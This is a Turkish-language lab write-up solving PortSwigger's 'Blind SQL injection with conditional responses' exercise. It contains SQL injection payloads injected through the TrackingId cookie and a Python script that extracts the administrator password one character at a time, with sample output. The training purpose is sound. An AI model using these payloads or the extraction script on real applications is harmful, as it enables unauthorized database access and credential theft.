> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/blind-sql-injection/blind-sql-injection-with-conditional-responses-cozumu.md).

# Blind SQL injection with conditional responses Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Blind SQL Injection varmış. tracking cookie değerini kullanarak kullanıcıyı takip ediyormuş ve bu değeri SQL sorgusuna dahil ediyormuş. Burada SQL Injection yapıcaz demek. Eğer sorgu başarılı olursa “Welcome back” diye mesaj gösteriyormuş. Veritabanındaki users tablosundan administrator’ın şifresini bulup giriş yap diyor.

Sayfa aşağıdaki gibi:

<figure><img src="/files/DD24cNQikSxYWYWtyCu1" alt=""><figcaption></figcaption></figure>

Sayfayı yenieyip, burp proxy ile isteği yakalayıp repeater’a atıyoruz.

<figure><img src="/files/tL2S5Pu4a6bWYzej0npM" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET / HTTP/1.1
Host: 0a6a00fc0477991784a6dcd000d70053.web-security-academy.net
Cookie: TrackingId=SER0k2hjgUDsLzNC; session=EIBhvBpA7CTEJYzm6ca3ls6Ycj3hDPFf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://portswigger.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

Burada TrackingId değerinden Blind SQL Injection yapıcaz. İlk olarak test edelim bakalım injection çalışıyor mu.

(Kendi TrackingId'nizi buraya yazın veya silip sadece tek tırnakla başlayın)

`SER0k2hjgUDsLzNC' AND 1=1--`

<figure><img src="/files/xl8NNlkstB7B6E8XEbgR" alt=""><figcaption></figcaption></figure>

Gördüğünüz gibi Welcome back yazıyor, sorguyu bozmaya çalışalım.

`SER0k2hjgUDsLzNC' AND 1=2--`

<figure><img src="/files/UccoRFw43CDNic6HG0ub" alt=""><figcaption></figcaption></figure>

sorguyu başarıyla bozduk, SQL Injection olduğundan eminiz içimiz rahat şifreyi bulmaya çalışabiliriz. İlk olarak sifrenin kaç haneli olduğunu bulmaya çalışalım.

`SER0k2hjgUDsLzNC' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>19)='a’--`

(buradaki mantığı tam anlamadıysanız Blind Injection kısmını okuyabilirsiniz, ama kısaca özetlemek gerekirse amacımız doğru yanlış kondisyonu üzerinden sql sorgu mantığı enjekte etmek.)

Welcome back yazıyor 19 dan fazla hanesi varmış şifrenin, 20 ile deneyelim:

`SER0k2hjgUDsLzNC' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a'--`

Welcome back yazmadı. Demek ki tam 20 hane şifre.

Şifrenin uzunluğunu bulduğumuza göre artık brute force edicez şifreyi.

Labları çözerken hep admin şifresinde sabit bir regex vardı, a-z arası harfler(küçük) ve rakamlar(0-9) kullanılmıştı. Olasılık hesaplarsak 20(şifre uzunluğu)x36(karakter)=720 tane muhtemel deneme yapmamız gerekiyor.

Burp Suite’ın Intruder aracını kullanabilirz ama yavaş kalıcağını düşünüyorum. Çünkü community sürümünde baya yavaş çalışıyor. Gelin bunu python scripti yazarak hızlandıralım, ama öncesinde atmamız gereken sorguyu düşünelim, şöyle bir mantık kurabiliriz:

Administrator şifresinin **X.** karakteri **Y** harfi midir?

Örneğin, şifrenin ilk karakterini bulmak için şu sorguyu hazırlıyoruz: `' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--`

* **SUBSTRING(password, 1, 1):** Şifrenin 1. karakterinden başla ve 1 tane karakter al demektir.
* **='a':** Bu karakter 'a' harfi mi? diye kontrol eder.

**Eğer cevap "Evet" ise:** Sayfada **"Welcome back"** yazısını görürüz. **Eğer cevap "Hayır" ise:** Sayfada bu yazıyı göremeyiz ve bir sonraki karaktere ('b', 'c', '1'...) geçeriz.

Bu işlemi her bir basamak için tekrarlayacağız:

1. karakter için tüm alfabeyi dene... (Bulunca 2. karaktere geç)
2. karakter için tüm alfabeyi dene ve bu şekilde 20. karaktere kadar devam et.

Şimdi bize bunu yapacak bir python scripti lazım:

```python
import requests

#buraya kendi url'inizi girin
url = "<https://0a6a00fc0477991784a6dcd000d70053.web-security-academy.net/>"
#deneyeceğimiz karakterler
alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""

# Kendi session cookie'ni buraya yapıştır
session_cookie = "EIBhvBpA7CTEJYzm6ca3ls6Ycj3hDPFf" 

print("Şifre kırma işlemi başlatıldı. Lütfen bekleyin...")

for i in range(1, 21): # 1'den 20'ye kadar karakterler
    for char in alphabet:
        # Payload Cookie olarak gidiyor TrackingId üzerinden
        cookie_payload = f"SER0k2hjgUDsLzNC' AND (SELECT SUBSTRING(password,{i},1) FROM users WHERE username='administrator')='{char}'--"
        
        # Her iki cookie'yi de gönderiyoruz
        cookies = {
            "TrackingId": cookie_payload,
            "session": session_cookie
        }
        
        r = requests.get(url, cookies=cookies)
        
        # Eğer sayfanın içinde Welcome back varsa, doğru harfi bulduk demektir
        if "Welcome back" in r.text:
            password += char
            print(f"[{i}/20] Bulundu! Şifre: {password}")
            break # Doğru harfi bulduğumuz için alfabedeki diğer harfleri denemeden bir sonraki karaktere (i) geç

print(f"\\nİşlem tamamlandı! Administrator şifresi: {password}")
```

bu komutu çalıştıralım çıktımız şöyle olmalı:

```python
Şifre kırma işlemi başlatıldı. Lütfen bekleyin...
[1/20] Bulundu! Şifre şu an: 9
[2/20] Bulundu! Şifre şu an: 9z
[3/20] Bulundu! Şifre şu an: 9zm
[4/20] Bulundu! Şifre şu an: 9zmq
[5/20] Bulundu! Şifre şu an: 9zmq9
[6/20] Bulundu! Şifre şu an: 9zmq9u
[7/20] Bulundu! Şifre şu an: 9zmq9ud
[8/20] Bulundu! Şifre şu an: 9zmq9udv
[9/20] Bulundu! Şifre şu an: 9zmq9udvf
[10/20] Bulundu! Şifre şu an: 9zmq9udvf5
[11/20] Bulundu! Şifre şu an: 9zmq9udvf5j
[12/20] Bulundu! Şifre şu an: 9zmq9udvf5jo
[13/20] Bulundu! Şifre şu an: 9zmq9udvf5jou
[14/20] Bulundu! Şifre şu an: 9zmq9udvf5jou5
[15/20] Bulundu! Şifre şu an: 9zmq9udvf5jou5g
[16/20] Bulundu! Şifre şu an: 9zmq9udvf5jou5g4
[17/20] Bulundu! Şifre şu an: 9zmq9udvf5jou5g48
[18/20] Bulundu! Şifre şu an: 9zmq9udvf5jou5g48e
[19/20] Bulundu! Şifre şu an: 9zmq9udvf5jou5g48ep
[20/20] Bulundu! Şifre şu an: 9zmq9udvf5jou5g48epq

İşlem tamamlandı! Administrator şifresi: 9zmq9udvf5jou5g48epq
```

bize administrator ile login yaparak lab’ı tamamlamızı söylemiş, “My account” üzerine tıklayıp gelen login sayfasına elinizdeki bilgilerle giriş yapın ve labı tamamlayın.

<figure><img src="/files/0A4Ok3GV2Ae3MO3uPU3d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Q2pZhOwfqQrbgXdBtRxw" alt=""><figcaption></figcaption></figure>
